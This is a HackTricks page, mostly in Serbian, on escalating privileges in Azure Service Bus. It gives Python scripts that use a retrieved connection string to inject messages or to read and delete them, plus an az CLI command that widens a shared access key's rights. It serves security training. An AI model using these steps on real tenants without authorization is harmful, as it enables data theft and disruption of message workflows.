Az - Service Bus Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Service Bus

Za više informacija proverite:

Az - Service Bus

Send Messages. Action: Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action

Možete preuzeti PrimaryConnectionString, koji deluje kao akreditiv za Service Bus namespace. Sa ovom konekcijom, možete se potpuno autentifikovati kao Service Bus namespace, omogućavajući vam da šaljete poruke bilo kojoj redu ili temi i potencijalno komunicirate sa sistemom na načine koji bi mogli ometati operacije, predstavljati validne korisnike ili ubrizgavati zlonamerne podatke u tok poruka.

#You need to install the following libraries
#pip install azure-servicebus
#pip install aiohttp
#pip install azure-identity

import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage

# Constants
NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_NAME = "<TOPIC_NAME>"

# Function to send a single message to a Service Bus topic
async def send_individual_message(publisher):
# Prepare a single message with updated content
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
# Send the message to the topic
await publisher.send_messages(single_message)
print("Sent a single message containing 'Hacktricks-Training'")

# Function to send multiple messages to a Service Bus topic
async def send_multiple_messages(publisher):
# Generate a collection of messages with updated content
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
# Send the entire collection of messages to the topic
await publisher.send_messages(message_list)
print("Sent a list of 5 messages containing 'Hacktricks-Training'")

# Function to send a grouped batch of messages to a Service Bus topic
async def send_grouped_messages(publisher):
# Send a grouped batch of messages with updated content
async with publisher:
grouped_message_batch = await publisher.create_message_batch()
for i in range(10):
try:
# Append a message to the batch with updated content
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
except ValueError:
# If batch reaches its size limit, handle by creating another batch
break
# Dispatch the batch of messages to the topic
await publisher.send_messages(grouped_message_batch)
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")

# Main function to execute all tasks
async def execute():
# Instantiate the Service Bus client with the connection string
async with ServiceBusClient.from_connection_string(
conn_str=NAMESPACE_CONNECTION_STR,
logging_enable=True) as sb_client:
# Create a topic sender for dispatching messages to the topic
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
async with publisher:
# Send a single message
await send_individual_message(publisher)
# Send multiple messages
await send_multiple_messages(publisher)
# Send a batch of messages
await send_grouped_messages(publisher)

# Run the asynchronous execution
asyncio.run(execute())
print("Messages Sent")
print("----------------------------")

Primanje poruka. Akcija: Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action ILI Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action

Možete preuzeti PrimaryConnectionString, koji služi kao akreditiv za Service Bus namespace. Koristeći ovaj konekcioni string, možete primati poruke iz bilo koje queue ili subscription unutar namespace-a, omogućavajući pristup potencijalno osetljivim ili kritičnim podacima, omogućavajući exfiltraciju podataka ili ometajući obradu poruka i radne tokove aplikacija.

#You need to install the following libraries
#pip install azure-servicebus
#pip install aiohttp
#pip install azure-identity

import asyncio
from azure.servicebus.aio import ServiceBusClient

NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_NAME = "<TOPIC_NAME>"
SUBSCRIPTION_NAME = "<TOPIC_SUBSCRIPTION_NAME>" #Topic Subscription

# Function to receive and process messages from a Service Bus subscription
async def receive_and_process_messages():
# Create a Service Bus client using the connection string
async with ServiceBusClient.from_connection_string(
conn_str=NAMESPACE_CONNECTION_STR,
logging_enable=True) as servicebus_client:

# Get the Subscription Receiver object for the specified topic and subscription
receiver = servicebus_client.get_subscription_receiver(
topic_name=TOPIC_NAME,
subscription_name=SUBSCRIPTION_NAME,
max_wait_time=5
)

async with receiver:
# Receive messages with a defined maximum wait time and count
received_msgs = await receiver.receive_messages(
max_wait_time=5,
max_message_count=20
)
for msg in received_msgs:
print("Received: " + str(msg))
# Complete the message to remove it from the subscription
await receiver.complete_message(msg)

# Run the asynchronous message processing function
asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")

Microsoft.ServiceBus/namespaces/authorizationRules/write & Microsoft.ServiceBus/namespaces/authorizationRules/write

Ako imate ove dozvole, možete povećati privilegije čitanjem ili kreiranjem zajedničkih pristupnih ključeva. Ovi ključevi omogućavaju potpunu kontrolu nad Service Bus imenom prostora, uključujući upravljanje redovima, temama i slanje/primanje poruka, potencijalno zaobilazeći kontrole pristupa zasnovane na rolama (RBAC).

az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send

References

• https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues

• https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api

• https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes

• https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless

• https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus

Podrška HackTricks

• Proverite planove pretplate!

• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.

• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.